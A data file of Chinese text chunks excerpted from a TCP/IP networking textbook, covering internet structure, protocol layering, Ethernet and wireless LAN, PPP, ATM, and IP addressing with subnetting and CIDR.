    {"text": "本节就互联网以及互联网与TCP/IP之间不可分割的关系做一些简单介绍。 2.3.1 互联网定义 “互联网”，英文单词为“Internet”。 从字面上理解，internet指的是将多个网络连接使其构成一个更大的网络，所以internet一词本意为网际网。 将两个以太网网段用路由器相连是互联网，将企业内部各部门的网络或公司的内网与其他企业相连接，并实现相互通信的网络也是互联网，甚至一个区域的网络与另一个区域的网络相互连接形成全世界规模的网络也可以称作互联网。"},
    {"text": "现在，“互联网”已经是一个专有名词了，其对应的英文单词“The Internet”也早已成为固有名词（Internet指网际网，The Internet指互联网，首字母大写） （与Internet对应的另一种网络叫做Intranet。"},
    {"text": "2.3.2 互联网与TCP/IP的关系 互联网进行通信时，需要相应的网络协议，TCP/IP原本就是为使用互联网而开发制定的协议族。 因此，互联网的协议就是TCP/IP，TCP/IP就是互联网的协议。 2.3.3 互联网的结构 如2.3.1节中提到，互联网一词原意是网际网，意指连接一个又一个网络。"},
    {"text": "较小范围的网络之间相连组成机构内部的网络，机构内部的网络之间相连再形成区域网络，而各个区域网络之间再互连，最终就形成了连接全世界的互联网。 互联网就是按照这样的形式构成了一个有层次的网络。 互联网中的每个网络都是由骨干网（BackBone）和末端网（Stub）组成的。 每个网络之间通过NOC （Network Operation Center，网络操作中心。"},
    {"text": "所以人们在实际申请连网前，最好先确认一下ISP或区域网所对应的具体服务条目、所提供服务的细则（如接入方式、条件、费用等）等，然后再结合自己的使用目的做决定。"},
    {"text": "■ 互联网内外 当公司的网络与家里的个人电脑都能连网时，一方面可以认为它们都是互联网的一部分（如图2.6），另一方面，从公司的局域网或家里个人电脑的角度出发，可以认为它们连接的目标网络都是互联网。"},
    {"text": "这种透视方法其实就是在将提供网络的ISP看作是外在、将内外明确划分的一种方法（如图2.7） （实际上有些公司会将互联网看作外在，并对与其连接的设备或协议进行限制。"},
    {"text": "图2.6 将公司网络与家里个人电脑看作互联网一部分的方法 图2.7 将互连的对端看作互联网的方法 2.4 TCP/IP协议分层模型 TCP/IP是当今计算机网络界使用最为广泛的协议。"},
    {"text": "2.4.1 TCP/IP与OSI参考模型 图2.8 OSI参考模型与TCP/IP的关系 第1章我们介绍了OSI参考模型中各个分层的作用。 TCP/IP诞生以来的各种协议其实也能对应到OSI参考模型当中。"},
    {"text": "因为只要人们在物理层面上所使用的传输媒介不同（如使用网线或无线），网络的带宽、可靠性、安全性、延迟等都会有所不同，而在这些方面又没有一个既定的指标。"},
    {"text": "2.4.3 网络接口层（数据链路层） 网络接口层 （有时人们也将网络接口层与硬件层合并起来称作网络通信层。 ） 利用以太网中的数据链路层进行通信，因此属于接口层。"},
    {"text": "因此，人们常常还需要在操作系统的基础上安装一些驱动软件以便使用这些附加硬件 （现在也有很多是即插即拔的设备，那是因为计算机的操作系统中早已经内置安装好了对应网卡的驱动程序，而并非不需驱动。"},
    {"text": "其他连接互联网的网络设备（如网桥、中继器或集线器）就没必要一定实现IP或TCP的功能 （有时为了监控和管理网桥、中继器、集线器等设备，也需要让它们具备IP、TCP的功能。"},
    {"text": "■ IP IP是跨越网络传送数据包，使整个互联网都能收到数据的协议。 IP协议使数据能够发送到地球的另一端，这期间它使用IP地址作为主机的标识 （连接IP网络的所有设备必须有自己唯一的识别号以便识别具体的设备。"},
    {"text": "UDP不会关注对端是否真的收到了传送过去的数据，如果需要检查对端是否收到分组数据包，或者对端是否连接到网络，则需要在应用程序中实现。"},
    {"text": "也就是说轻按一下鼠标架设在远端服务器上的各种信息就会呈现到浏览器上。 浏览器中既可以显示文字、图片、动画等信息，还能播放声音以及运行程序。"},
    {"text": "浏览器与服务端之间通信所用的协议是HTTP（HyperText Transfer Protocol）。 所传输数据的主要格式是HTML（HyperText Markup Language）。 WWW中的HTTP属于OSI应用层的协议，而HTML属于表示层的协议。"},
    {"text": "■ 文件传输（FTP） 图2.14 FTP 文件传输是指将保存在其他计算机硬盘上的文件转移到本地的硬盘上，或将本地硬盘的文件传送到其他机器硬盘上的意思。"},
    {"text": "在FTP中进行文件传输时会建立两个TCP连接，分别是发出传输请求时所要用到的控制连接与实际传输数据时所要用到的数据连接 （这两种连接的控制管理属于会话层的功能。"},
    {"text": "■ 远程登录（TELNET与SSH） 图2.15 TELNET 远程登录是指登录到远程的计算机上，使那台计算机上的程序得以运行的一种功能。 TCP/IP网络中远程登录常用TELNET （TELetypewriter NETwork的缩写。"},
    {"text": "■ 网络管理（SNMP） 图2.16 网络管理 在TCP/IP中进行网络管理时，采用SNMP（Simple Network Management Protocol）协议。 使用SNMP管理的主机、网桥、路由器等称作SNMP代理（Agent），而进行管理的那一段叫做管理器（Manager）。 SNMP正是这个Manager与Agent所要用到的协议。 在SNMP的代理端，保存着网络接口的信息、通信数据量、异常数据量以及设备温度等信息。"},
    {"text": "2.5.1 数据包首部 图2.17 数据包首部的层次化 每个分层中，都会对所发送的数据附加一个首部，在这个首部中包含了该层必要的信息，如发送的目标地址以及协议相关信息。"},
    {"text": "■ 包、帧、数据报、段、消息 以上五个述语都用来表述数据的单位，大致区分如下： 包可以说是全能性述语。 帧用于表示数据链路层中包的单位。 而数据包是IP和UDP等网络层以上的分层中包的单位。 段则表示TCP数据流中的信息。"},
    {"text": "因此，在数据包的首部，明确标明了协议应该如何读取数据。 反过来说，看到首部，也就能够了解该协议必要的信息以及所要处理内容。 因此，看到包首部就如同看到协议的规范。 难怪有人会说首部就像是协议的脸了。"},
    {"text": "■ ① 应用程序处理 启动应用程序新建邮件，将收件人邮箱填好，再由键盘输入邮件内容“早上好”，鼠标点击“发送”按钮就可以开始TCP/IP的通信了。"},
    {"text": "编码转化后，实际邮件不一定会马上被发送出去，因为有些邮件的软件有一次同时发送多个邮件的功能，也可能会有用户点击“收信”按钮以后才一并接收新邮件的功能。"},
    {"text": "应用在发送邮件的那一刻建立TCP连接，从而利用这个TCP连接发送数据。 它的过程首先是将应用的数据发送给下一层的TCP，再做实际的转发处理。 ■ ② TCP模块的处理 TCP根据应用的指示 （这种关于连接的指示相当于OSI参考模型中的会话层。"},
    {"text": "TCP提供将应用层发来的数据顺利发送至对端的可靠传输。 为了实现TCP的这一功能，需要在应用层数据的前端附加一个TCP首部。 TCP首部中包括源端口号和目标端口号（用以识别发送主机跟接收主机上的应用）、序号（用以发送的包中哪部分是数据）以及校验和 （Check Sum，用来检验数据的读取是否正常进行的方法。"},
    {"text": "■ ③ IP模块的处理 IP将TCP传过来的TCP首部和TCP数据合起来当做自己的数据，并在TCP首部的前端在加上自己的IP首部。 因此，IP数据包中IP首部后面紧跟着TCP首部，然后才是应用的数据首部和数据本身。 IP首部中包含接收端IP地址以及发送端IP地址。 紧随IP首部的还有用来判断其后面数据是TCP还是UDP的信息。 IP包生成后，参考路由控制表决定接受此IP包的路由或主机。 随后，IP包将被发送给连接这些路由器或主机网络接口的驱动程序，以实现真正发送数据。"},
    {"text": "只要知道了对端的MAC地址，就可以将MAC地址和IP地址交给以太网的驱动程序，实现数据传输。 ■ ④ 网络接口（以太网驱动）的处理 从IP传过来的IP包，对于以太网驱动来说不过就是数据。"},
    {"text": "图2.18 TCP/IP各层对邮件的收发处理 2.5.3 经过数据链路的包 分组数据包（以下简称包）经过以太网的数据链路时的大致流程如图2.19所示。"},
    {"text": "图2.19 分层中包的结构 包流动时，从前往后依此被附加了以太网包首部、IP包首部、TCP包首部（或者UDP包首部）以及应用自己的包首部和数据。"},
    {"text": "每个包首部中至少都会包含两个信息：一个是发送端和接收端地址，另一个是上一层的协议类型。 经过每个协议分层时，都必须有识别包发送端和接收端的信息。"},
    {"text": "这些地址信息都在每个包经由各个分层时，附加到协议对应的包首部里边。 此外，每个分层的包首部中还包含一个识别位，它是用来标识上一层协议的种类信息。"},
    {"text": "而如果接收到了恰好是发给自己的包，就查找以太网包首部中的类型域从而确定以太网协议所传送过来的数据类型。 在这个例子中数据类型显然是IP包，因此再将数据传给处理IP的子程序，如果这时不是IP而是其他诸如ARP的协议，就把数据传给ARP处理。"},
    {"text": "■ ⑥ IP模块的处理 IP模块收到IP包首部及后面的数据部分以后，也做类似的处理。 如果判断得出包首部中的IP地址与自己的IP地址匹配，则可接收数据并从中查找上一层的协议。 如果上一层是TCP就将IP包首部之后的部分传给TCP处理； 如果是UDP则将IP包首部后面的部分传给UDP处理。"},
    {"text": "如果保存也能正常进行，那么接收端会返回一个“处理正常”的回执给发送端。 反之，一旦出现磁盘满、邮件未能成功保存等问题，就会发送一个“处理异常”的回执给发送端。"},
    {"text": "首先，由于移动电话、智能手机、平板电脑等在进行分组数据的通信，因此在它们装入电池开机的那一刻，已经由通信运营商设定了具体的IP地址。"},
    {"text": "启动移动电话中的应用程序时，会连接指定的服务器，经过用户名、密码验证以后服务器上积累的信息就会发送到手机终端上，并由该终端显示具体内容。"},
    {"text": "本章旨在介绍OSI参考模型中数据链路层的相关技术，包括MAC寻址（物理寻址）、介质共享、非公有网络、分组交换、环路检测、VLAN（Virtual Local Area Network，虚拟局域网）等。"},
    {"text": "在以太网与FDDI（Fiber Distributed Data Interface，光纤分布式数据接口）的规范中，不仅包含OSI参考模型的第2层数据链路层，也规定了第1层物理层的规格。"},
    {"text": "这种情况下有两条数据链路： 从网络层的概念看，它是一个网络（逻辑上）→即，从网络层的立场出发，这两条网线组成一个段。 从物理层的概念看，两条网线分别是两个物体（物理上）→即，从物理层的观点出发，一条网线是一个段。"},
    {"text": "图3.2 段的范围 ■ 网络拓扑 网络的连接和构成的形态称为网络拓扑（Topology）。 网络拓扑包括总线型、环型、星型、网状型等。 拓扑一词不仅用于直观可见的配线方式上，也用于逻辑上网络的组成结构。"},
    {"text": "IEEE802.3制定MAC地址规范时没有限定数据链路的类型，即不论哪种数据链路的网络（以太网、FDDI、ATM、无线LAN、蓝牙等），都不会有相同的MAC地址出现。"},
    {"text": "再例如，一台主机上如果启动多个虚拟机，由于没有硬件的网卡只能由虚拟软件自己设定MAC地址给多个虚拟网卡，这时就很难保证所生成的MAC地址是独一无二的了。"},
    {"text": "■ 厂商识别码 有一种设备叫网络分析器。 它可以分析出局域网中的包是由哪个厂商的网卡发出的。 它通过读取数据帧当中发送MAC地址里的厂商识别码进行识别。 由于能够迅速定位是否有未知厂商识别码的网卡发送异常的包，这一功能在由多个厂商的设备构成的网络环境中，对于分析问题极为有效。"},
    {"text": "） ： http://standards.ieee.org/develop/regauth/oui/public.html 此外，MAC地址的分配，通过以下站点申请（收费）： http://standards.ieee.org/develop/regauth/oui/index.html 3.2.2 共享介质型网络 从通信介质（通信，介质）的使用方法上看，网络可分为共享介质型和非共享介质型。"},
    {"text": "图3.10 半双工通信 同样是以太网，在使用交换机与双绞线电缆（亦或光纤电缆）的情况下，既可以通过交换机的端口与计算机之间进行一对一的连接，也可以通过相连电缆内部的收发线路 （一般一根双绞线包着8个（4对）芯线。"},
    {"text": "图3.11 全双工通信 3.2.4 根据MAC地址转发 在使用同轴电缆的以太网（10BASE5、10BASE2）等介质共享网络中，同一时间只能有一台主机发送数据。"},
    {"text": "若将集线器或集中器等设备以星型连接，就出现了一款新的网络设备——交换集线器，这是一种将非介质共享型网络中所使用的交换机用在以太网中的技术，交换集线器也叫做以太网交换机。 以太网交换机就是持有多个端口 （计算机设备的外部接口都称做端口。"},
    {"text": "以某个MAC地址作为源地址的包由某一接口接收，实质上可以理解为该MAC地址就是该接口的目标。 因此也可以说，以该MAC地址作为目标地址的包，经由该接口送出即可。"},
    {"text": "VLAN技术附加到网桥/2层交换机（曾在1.9.4节做过介绍）上，就可以切断所有VLAN之间的所有通信。 因此，相比一般的网桥/2层交换机，VLAN可以过滤多余的包，提高网络的承载效率。"},
    {"text": "图3.15 简单的VLAN 对这种VLAN进行了扩展，又定义了IEEE802.1Q的标准（也叫TAG VLAN），该标准允许包含跨越异构交换机的网段。 TAG VLAN中对每个网段都用一个VLAN ID的标签进行唯一标识。"},
    {"text": "图3.16 跨交换机的VLAN 3.3 以太网 在众多数据链路中最为著名、使用最为广泛的莫过于以太网（Ethernet） （以太网（Ethernet）一词源于Ether（以太），意为介质。"},
    {"text": "3.3.1 以太网连接形式 在以太网普及之初，一般采用多台终端使用同一根同轴电缆的共享介质型 （关于共享介质型的更多细节请参考3.2.2节。"},
    {"text": "图3.17 初期以太网结构举例 而现在，随着互连设备的处理能力以及传输速度的提高，一般都采用终端与交换机之间独占电缆的方式实现以太网通信，如图3.18。 图3.18 现代以太网结构举例 3.3.2 以太网的分类 以太网因通信电缆的不同及通信速度的差异，衍生出了众多不同的以太网类型。"},
    {"text": "在传输速度相同而传输所用电缆不同的情况下，可以连接那些允许更换传输介质的中继器或集线器。 而在传输速度不同的情况下，则必须采用那些允许变更速度的设备如网桥、交换集线器或路由器。"},
    {"text": "1K=1000 1M=1000K 1G=1000M 3.3.3 以太网的历史 最早被规范化的以太网采用同轴电缆的总线型10BASE5网络。 之后，出现了使用细同轴电缆的10BASE2（thin 以太网）、双绞线10BASE-T（双绞线以太网）、高速100BASE-TX（高速以太网）、100BASE-T（千兆以太网）以及10G以太网等众多以太网规范。"},
    {"text": "此外，不使用交换机的半双工通信以及使用同轴电缆的总线型通信已经逐渐退出历史舞台。 另外，在此需要指出的是没有交换机的半双工通信方式以及使用同轴电缆的总线型连接方式已渐渐退出舞台，使用范围在逐渐减少。"},
    {"text": "■ IEEE802 IEEE（The Institute of Electronical and Electronics Engineers，美国电子和电气工程师协会）委员会中，依据不同的工作小组制定了各种局域网技术标准。 以下是IEEE802委员会的构成。"},
    {"text": "IEEE802.1 Higher Layer LAN Protocols Working Group IEEE802.2 Logical Link Control Working Group IEEE802.3 Ethernet Working Group（CSMA/CD） 10BASE5/10BASE2/10BASE-T/10Broad36 100BASE-TX/1000BASE-T/10Gb/s Ethernet IEEE802.4 Token Bus Working Group（MAP/TOP） IEEE802.5 Token Ring Working Group（4Mbps / 16Mbps） IEEE802.6 Metropolitan Area Network Working Group（MAN） IEEE802.7 Broadband TAG IEEE802.8 Fiber Optic TAG IEEE802.9 Isochronous LAN Working Group IEEE802.10 Security Working Group IEEE802.11 Wireless LAN Working Group IEEE802.12 Demand Priority Working Group（100VG-AnyLAN） IEEE802.14 Cable Modem Working Group IEEE802.15 Wireless Personal Area Network（WPAN） Working Group IEEE802.16 Broadband Wireless Access Working Group IEEE802.17 Resilient Packet Ring Working Group IEEE802.18 Radio Regulatory TAG IEEE802.19 Coexistence TAG IEEE802.20 Mobile Broadband Wireless Access IEEE802.21 Media Independent Handoff IEEE802.22 Wireless Regional Area Networks 3.3.4 以太网帧格式 以太网帧前端有一个叫做前导码（Preamble）的部分，它由0、1数字交替组合而成，表示一个以太网帧的开始，也是对端网卡能够确保与其同步的标志。"},
    {"text": "字节 通常8个比特构成一个字节。 本书就以8个比特作为1个字节处理。 然而在某些特殊的计算机中，1个字节有时包含6个比特、7个比特或9个比特。 8位字节 8个比特也被称为8位字节。 只有为了强调1个字节中包含8个比特时才会使用。"},
    {"text": "http://standards.ieee.org/regauth/ethertype/eth.txt http://www.iana.org/assignments/ethernet-numbers 帧尾最后出现的是FCS （Frame Check Sequence） 。"},
    {"text": "在3.2.6节中将要介绍的VLAN中，帧的格式又会有所变化（图3.21）。 图3.21 VLAN中以太网帧的格式 ▼ Canonical Format Indicator，标准格式指示位。"},
    {"text": "■ 数据链路层分为两层 如果再进一步细分，还可以将数据链路层分为介质访问控制层 （介质访问控制层简称MAC（Media Access Control）） 和逻辑链路控制层 （逻辑链路控制层简称LLC（Logical Link Control）） 。 介质访问控制层根据以太网或FDDI等不同数据链路所特有的首部信息进行控制。 与之相比，逻辑链路层则根据以太网或FDDI等不同数据链路所共有的帧头信息进行控制。"},
    {"text": "然而随着无线通信速度的不断提升，以及无线通信本身能够降低配线成本的优势，它很快在办公室、家庭、店铺以及车站和机场等环境中被广泛使用。"},
    {"text": "IEEE802委员会制定了无线PAN （Personal Area Network） （802.15）、无线LAN （Local Area Network） （802.11）、无线MAN （Metropolitan Area Network） （802.16）以及无线RAN （Regional Area Network） （802.22）等无线标准。"},
    {"text": "3.4.2 IEEE802.11 IEEE802.11定义了无线LAN协议中物理层与数据链路层的一部分（MAC层）。 IEEE802.11这个编号有时指众多标准的统称，有时也指无线LAN的一种通信方式。 IEEE802.11是所有IEEE802.11相关标准的基础。 其中定义的数据链路层的一部分（MAC层）适用于所有IEEE802.11的其他标准。"},
    {"text": "MAC层中物理地址与以太网相同，都使用MAC地址，而介质访问控制上则使用CSAM/CD相似的CSAM/CA （CSMA/CA Carrier Sense Multiple Access with Sollision Avoidance） 方式。"},
    {"text": "表3.4 IEEE802.11 出处：http://grouper.ieee.org/groups/802/11/Reports/802.11_Timelines.htm 表3.5 IEEE802.11比较 图3.23 无线LAN的连接 3.4.3 IEEE802.11b和IEEE802.11g IEEE802.11b和IEEE802.11g是2.4GHz频段 （2400～2497MHz） 中的无线局域网标准。 它们的最大传输速度分别可达到11Mbps（IEEE802.11b）和54Mbps（IEEE802.11g），通信距离可以达到30～50米左右。"},
    {"text": "3.4.5 IEEE802.11n IEEE802.11n是在IEEE802.11g和IEEE802.11a的基础上，采用同步多条天线的MIMO （Multiple-Input Multiple-Output，多入多出技术） 技术，实现高速无线通信的一种标准。"},
    {"text": "在使用5GHz频段的情况下，若能不受其他2.4GHz频段系统（802.11b/g或蓝牙等）的干扰，IEEE802.11n可以达到IEEE802.11a/b/g的几倍带宽（40MHz），最大传输速度甚至可以达到150Mps。"},
    {"text": "该组织向Wi-Fi设备厂商提供IEEE802.11产品的互操作性测试，并对合格的产品颁发Wi-Fi Certified认证。 因此，带有Wi-Fi标志的无线LAN设备意味着该产品已经过互操作测试并通过认证。"},
    {"text": "这也意味着，在其通信范围内，任何人都可以使用该无线LAN，因此会有被盗听或篡改的危险。 在无线LAN的标准中，为防止盗听或篡改，已定义可以对传输数据进行加密。"},
    {"text": "3.4.7 蓝牙 蓝牙与IEEE802.11b/g类似，是使用2.4GHz频率无线电波的一种标准 （因此，当IEEE802.b/g等设备与蓝牙设备一起使用时，无线电波信号削减有可能导致通信性能的下降。"},
    {"text": "3.5.2 LCP与NCP 在开始进行数据传输前，要先建立一个PPP级的连接 （在使用电话线的情况下，首先要保证电话线物理层面的连接以后才能在它之上建立PPP连接。"},
    {"text": "LCP主要负责建立和断开连接、设置最大接收单元（MRU，Maximum Receive Unit）、设置验证协议（PAP或CHAP）以及设置是否进行通信质量的监控。"},
    {"text": "图3.25 PPP中建立连接 通过PPP连接时，通常需要进行用户名密码的验证，并且对通信两端进行双方向的验证 （通过ISP接入互联网时，一般对ISP端不验证。"},
    {"text": "其验证协议有两种，分别为PAP（Password Authentication Protocol）和CHAP（Challenge Handshake Authentication Protocol）。 PAP是PPP连接建立时，通过两次握手进行用户名和密码验证。"},
    {"text": "因此，在发送帧的时候，当出现连续5个“1”时后面必须插入一个0。 而当接收端在接收帧时，如果收到连续的5个“1”且后面跟着的是0，就必须删除。 由于最多只会出现5个连续的“1”，就可以比较容易地通过标志码区分帧的起始与终止。"},
    {"text": "3.6.1 ATM ATM（Asynchronous Transfer Mode）是以一个叫做信元（5字节首部加48字节数据）的单位进行传输的数据链路，由于其线路占用时间短和能够高效传输大容量数据等特点主要用于广域网络的连接。"},
    {"text": "使用传统电话进行通话时，需要事先向交换机发出一个信令要求，建立交换机与通话对端的连接 （ATM中把它叫做SVC（Switched Virtual Circuit，交换式虚电路）。"},
    {"text": "因此，当大量计算机同时发送大量数据时容易引发网络拥堵甚至使网络进入收敛状态 （收敛状态指当网络非常拥堵时，路由器或交换机无法完成包的处理，从而丢弃这些包的一种状态。"},
    {"text": "ATM扩展了TDM，能够有效地提高线路的利用率 （实际上它采用TDM方式的SONET（Synchronous Optical Network）或SDH（Sychro-nous Digital Hierachy）的线路。"},
    {"text": "为此，发送端还需要附加一个5字节的包首部，包含VPI（Virtual Path Identifier）、VCI（Virtual Channel Identifier）等识别码 （在VPI所标识的通信线路中，用VCI识别多个通信。"},
    {"text": "只不过需要额外附加5个字节的首部，增加了网络的开销 （网络开销是指在通信传输中，除了发送实际想要发送的数据，还需要附加的一些控制信息所耗的带宽开销以及处理这些信息所耗的时间开销。"},
    {"text": "令牌环由于其价格一直居高不下以及所支持的提供商逐渐较少等原因，除了在IBM的环境以外始终未能得到普及，而且随着以太网的广泛使用，人们已经不再采用令牌环技术。"},
    {"text": "曾主要用于DVD/蓝光播放器、录像机、AV功放等设备与电视机、投影仪的连接，现在也逐渐开始用于计算机或平板电脑、数码相机与显示器的连接。"},
    {"text": "以前手机通信的传输速率相对较低。 而现在随着Mobole WiMAX（参考3.4.8节）和LTE（参考1.10.3节）等技术的发展，手机的传输速率可以达到数Mbps甚至几十Mbps不等。"},
    {"text": "模拟电话线路虽然也能传输高频数字通信，但是它与电信局的交换机之间只有发送音频信号时才能显示极好的传输效率，并会对其他多余频率的信号进行丢弃。"},
    {"text": "ADSL正是利用话机到电信局交换机之间这段线路，附加一个叫做分离器的装置，将音频信号（低频信号）和数字信号（高频信号）隔离以免产生噪声干扰。"},
    {"text": "以上属于光纤到户。 还有一种方式叫光纤到楼。 它是指一个高速光纤直接连到某个大厦、公司或宾馆的大楼，随后在整个大楼内部再通过布线实现联网。"},
    {"text": "其中从电视台到用户住宅使用与电视播送相同的频率带宽 （称为下行（DownStream）。 ） ，而从住家住宅到电视台则使用播送当中未使用的低频带宽 （称为上行（UpStream）。"},
    {"text": "以NTT Group的服务为例，有Mega Data Nets（用ATM接口提供3Mbps～42Mbps的专线接入）、ATM Mega-Link、Giga Stream（用以太网或SONET/SDH接口提供0.5Mbps～135Mbps的专线接入）等众多专线接入服务。"},
    {"text": "图3.37 IP-VPN（MPLS） 除了使用服务提供商的IP-VPN服务之外，有时企业还可以在互联网上建立自己的VPN （为了与IP-VPN相区别，这种方式的VPN也叫做企业互联网VPN。"},
    {"text": "——译者注 [3] OC（光学载波）是SONET光纤网络中的一组信号带宽，通常表示为OC-n，其中，n是一个倍数因子，表示是基本速率51.84Mbit/s的倍数。"},
    {"text": "而一旦跨越多种数据链路，就需要借助网络层。 网络层可以跨越不同的数据链路，即使是在不同的数据链路上也能实现两端节点之间的数据包传输。"},
    {"text": "旅行社不仅为他预订好了旅途过程中所需要的机票和火车票，甚至为他制定了一个详细行程表，详细到几点几分需要乘坐飞机或火车都一目了然。"},
    {"text": "此处的“区间内”就如同通信网络上的数据链路。 而这个区间内的出发地点和目的地点就如同某一个数据链路的源地址和目标地址等首部信息 （出发地点好比源MAC地址，目标地点好比目的MAC地址。"},
    {"text": "作为网络层的IP，也有这种地址信息。 一般叫做IP地址。 IP地址用于在“连接到网络中的所有主机中识别出进行通信的目标地址”。 因此，在TCP/IP通信中所有主机或路由器必须设定自己的IP地址 （严格来说，要针对每块网卡至少配置一个或一个以上的IP地址。"},
    {"text": "图4.3 IP地址 不论一台主机与哪种数据链路连接，其IP地址的形式都保持不变。 以太网、无线局域网、PPP等，都不会改变IP地址的形式 （数据链路的MAC地址的形式不一定必须一致。"},
    {"text": "因为这些设备只负责将IP包转化为0、1比特流转发或对数据链路帧的数据部分进行转发，而不需要应对IP协议 （反之，这些设备既可以在IPv4环境中使用，也可以在IPv6环境中使用。"},
    {"text": "它是指网络中的一个区间。 IP包正是在网络中一个个跳间被转发。 因此IP路由也叫做多跳路由。 在每一个区间内决定着包在下一跳被转发的路径。"},
    {"text": "多跳路由是指路由器或主机在转发IP数据包时只指定下一个路由器或主机，而不是将到最终目标地址为止的所有通路全都指定出来。 因为每一个区间（跳）在转发IP数据包时会分别指定下一跳的操作，直至包达到最终的目标地址。"},
    {"text": "图4.6 每到一站再打听接下来该坐什么车 在前面的例子中，虽然已经确定了最终的目标车站，但是一开始还是不知道如何换乘才能到达这个终极目标地址。"},
    {"text": "而到了这个车站以后再询问工作人员如何才能达到最终的目标地址时，仍然得到同样的建议：乘坐某某线列车到某某车站以后再询问那里的工作人员。 于是，该乘客就按照每一个车站工作人员的指示，到达下一车站以后再继续询问车站的工作人员，得到类似的建议。"},
    {"text": "） ，从而再决定下一步应该将这个包发往哪个路由器，然后将包发送过去。 当这个IP包到达那个路由器以后，会再次经历查找下一目标地址的过程，并由该路由器转发给下一个被找到的路由器。 这个过程可能会反复多次，直到找到最终的目标地址将数据包发送给这个节点。"},
    {"text": "包裹不可能自己移动，必须有送货车承载转运。 而一辆送货车只能将包裹送到某个区间范围内。 每个不同区间的包裹将由对应的送货车承载、运输。"},
    {"text": "数据链路根据种类的不同各有特点。 对这些不同数据链路的相异特性进行抽象化也是IP的重要作用之一。 在4.2.1节也曾提到过，数据链路的地址可以被抽象化为IP地址。"},
    {"text": "图4.9 不同数据链路的最大传输单位 MTU的值在以太网中是1500字节，在FDDI中是4352字节，而ATM则为9180字节 （关于MTU的更多取值，请参考4.3节。"},
    {"text": "为了解决这个问题，IP进行分片处理（IP Fragmentation）。 顾名思义，所谓分片处理是指，将较大的IP包分成多个较小的IP包 （关于分片处理的更多细节，请参考4.5节。"},
    {"text": "如果发送端的数据未能真正发送到对端目标主机会造成严重的问题。 例如，发送一封电子邮件，如果邮件内容中很重要的一部分丢失，会让收件方无法及时获取信息。"},
    {"text": "相比之下，按照网络分层，明确定义每层协议的作用和责任以后，针对每层具体的协议进行编程会更加有利于该协议的实现。 网络通信中如果能进行有效分层，就可以明确TCP与IP各自协议的最终目的，也有利于后续对这些协议进行扩展和性能上的优化。"},
    {"text": "那就是将32位的IP地址以每8位为一组，分成4组，每组以“.”隔开，再将每组数转换为十进制数 （这种方法也叫做“十进制点符号”（Dot-decimal notation）。"},
    {"text": "2 32 =4 294 967 296 从这个计算结果可知，最多可以允许43亿台计算机连接到网络 （虽然43亿这个数字听起来还算比较大，但是还不到地球上现有人口的总数。"},
    {"text": "实际上，IP地址并非是根据主机台数来配置的，而是每一台主机上的每一块网卡（NIC）都得设置IP地址 （Windows或Unix中设置IP地址的命令分别为ipconfig/all和ifconfig-a。"},
    {"text": "通常一块网卡只设置一个IP地址，其实一块网卡也可以配置多个IP地址。 此外，一台路由器通常都会配置两个以上的网卡，因此可以设置两个以上的IP地址。"},
    {"text": "后面将要详细介绍IP地址的两个组成部分（网络标识和主机标识），了解了这两个组成部分后你会发现实际能够连接到网络的计算机个数更是少了很多 （根据一种可以更换IP地址的技术NAT，可连接计算机数超过43亿台。"},
    {"text": "图4.10 每块网卡可以分配一个以上的IP地址 4.3.2 IP地址由网络和主机两部分标识组成 IP地址由“网络标识（网络地址）”和“主机标识（主机地址）”两部分组成 （192.168.128.10/24中的“/24”表示从第1位开始到多少位属于网络标识。"},
    {"text": "网络标识必须保证相互连接的每个段的地址不相重复。 而相同段内相连的主机必须有相同的网络地址。 IP地址的“主机标识”则不允许在同一个网段内重复出现。 由此，可以通过设置网络地址和主机地址，在相互连接的整个网络中保证每台主机的IP地址都不会相互重叠。 即IP地址具有了唯一性 （唯一性是指在整个网络中，不会跟其他主机的IP地址冲突。"},
    {"text": "图4.11 IP地址的主机标识 图4.12 IP地址的网络标识 4.3.3 IP地址的分类 IP地址分为四个级别，分别为A类、B类、C类、D类 （还有一个一直未使用的E类。"},
    {"text": "将IP地址中的主机地址部分全部设置为1，就成为了广播地址 （以太网中如果将MAC地址的所有位都改为1，则形成FF：FF：FF：FF：FF：FF的广播地址。 因此，广播的IP包以数据链路的帧的形式发送时，得通过MAC地址为全1比特的FF：FF：FF：FF：FF：FF转发。"},
    {"text": "例如把172.20.0.0/16用二进制表示如下： 10101100.00010100.00000000.00000000 （二进制） 将这个地址的主机部分全部改为1，则形成广播地址： 10101100.00010100.11111111.11111111 （二进制） 再将这个地址用十进制表示，则为172.20.255.255。"},
    {"text": "例如网络地址为192.168.0.0/24的主机向192.168.1.255/24的目标地址发送IP包。 收到这个包的路由器，将数据转发给192.168.1.0/24，从而使得所有192.168.1.1～192.168.1.254的主机都能收到这个包 （由于直接广播有一定的安全问题，多数情况下会在路由器上设置为不转发。"},
    {"text": "图4.16 多播地址 从224.0.0.0到239.255.255.255都是多播地址的可用范围。 其中从224.0.0.0到224.0.0.255的范围不需要路由控制，在同一个链路内也能实现多播。 而在这个范围之外设置多播地址会给全网所有组内成员发送多播的包 （可以利用生存时间（TTL，Time To Live）限制包的到达范围。"},
    {"text": "例如A类地址前8位（除首位“0”还有7位）、B类地址前16位（除首位“10”还有14位）、C类地址前24位（除首位“110”还有21位）分别是它们各自的网络标识部分。"},
    {"text": "例如，架构B类IP网络时，理论上一个链路内允许6万5千多台计算机连接。 然而，在实际网络架构当中，一般不会有在同一个链路上连接6万5千多台计算机的情况。"},
    {"text": "■ 子网与子网掩码 现在，一个IP地址的网络标识和主机标识已不再受限于该地址的类别，而是由一个叫做“子网掩码”的识别码通过子网网络地址细分出比A类、B类、C类更小粒度的网络。 这种方式实际上就是将原来A类、B类C类等分类中的主机地址部分用作子网地址，可以将原网络分为多个物理网络的一种机制。 自从引入了子网以后，一个IP地址就有了两种识别码。 一是IP地址本身，另一个是表示网络部的子网掩码。"},
    {"text": "图4.17 子网掩码可以灵活指定网络标识的长度 4.3.7 CIDR与VLSM 直到20世纪90年代中期，向各种组织分配IP地址都以A类、B类、C类等分类为单位进行。"},
    {"text": "于是，人们开始放弃IP地址的分类 （即使申请了B类地址的组织，如果发现根本没必要选用B类标准长度作为网络地址，那么可以将原申请的地址返还，再重新申请一个长度合适的IP地址及其网络标识。"},
    {"text": "这种方式叫做CIDR （迁移到CIDR的初期，由于A类和B类地址个数严重不足，常常把那些以2的幂次（4，8，16，32，……）划分的C类IP地址组合起来再进行分配。"},
    {"text": "例如，以图4.18为例，应用CIDR技术将203.183.224.1到203.183.225.254的地址合为同一个网络（它们本来是2个C类地址）。 图4.18 CIDR应用举例（1） 类似地，图4.19展示了将202.244.160.1到202.244.167.254的地址合并为一个网络的情形。"},
